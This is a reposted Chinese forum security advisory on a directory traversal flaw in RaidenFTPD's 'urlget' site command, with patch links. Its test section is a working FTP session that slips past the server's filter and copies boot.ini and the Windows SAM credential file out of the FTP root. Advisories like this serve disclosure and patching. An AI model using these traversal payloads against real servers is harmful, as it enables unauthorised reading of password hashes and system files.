[转载]RaidenFTPD 2.4 Build 2241以下版本目录限制绕过漏洞
信息来源：A^C^E产品描述：
RaidenFTPD is an easy-to-use ftp server software for
Windows?. With this handy tool you can share your
files with friends, provide file download services to
customers or even setup your own private network file
server. Not only are all the basic FTP server features
built-in; it also features various advanced features
such as SSL/TLS, UTF8, UPnP NAT traversal and more ..
问题描述：
Directory Traversal - Failure to validate input for
the site command 'urlget'.
Using urlget it's possible for a normal user to escape
ftproot and download known files from restricted
directories.
The JohnLong Team acted promptly to resolve the issue.
补丁下载
[url]http://www.raidenftpd.com/en/[/url]
FULL :
[url]http://www.raidenmaild.com/download/raidenftpd2.exe[/url]
UPDATE :
[url]http://www.raidenmaild.com/download/update.exe[/url]
测试方法
[quote]230 User ****** logged in.
ftp> quote site urlget file://\..\\boot.ini
550 site urlget failed : hacking attempt , you have
been logged.
ftp> quote site urlget file:/..\\boot.ini
220 site urlget : downloading
file:/..\\boot.ini->boot.ini
ftp> ls
200 Port command ok.
150 Opening ASCII data connection for ls /.
boot.ini
226-free disk space under this directory : 28919 mb
226 Transfer finished successfully.
Data connection closed .
ftp: 10 bytes received in 0.00 Seconds
10000.00Kbytes/sec.
ftp> quote site urlget file:/..\\winnt/repair/sam
220 site urlget : downloading
file:/..\\winnt/repair/sam->sam
ftp> ls
200 Port command ok.
150 Opening ASCII data connection for ls /.
boot.ini
sam
226-free disk space under this directory : 28919mb
226 Transfer finished successfully.
Data connection closed .
ftp: 15 bytes received in 0.00Seconds
15000.00Kbytes/sec.
ftp>[/quote]
页:
[1]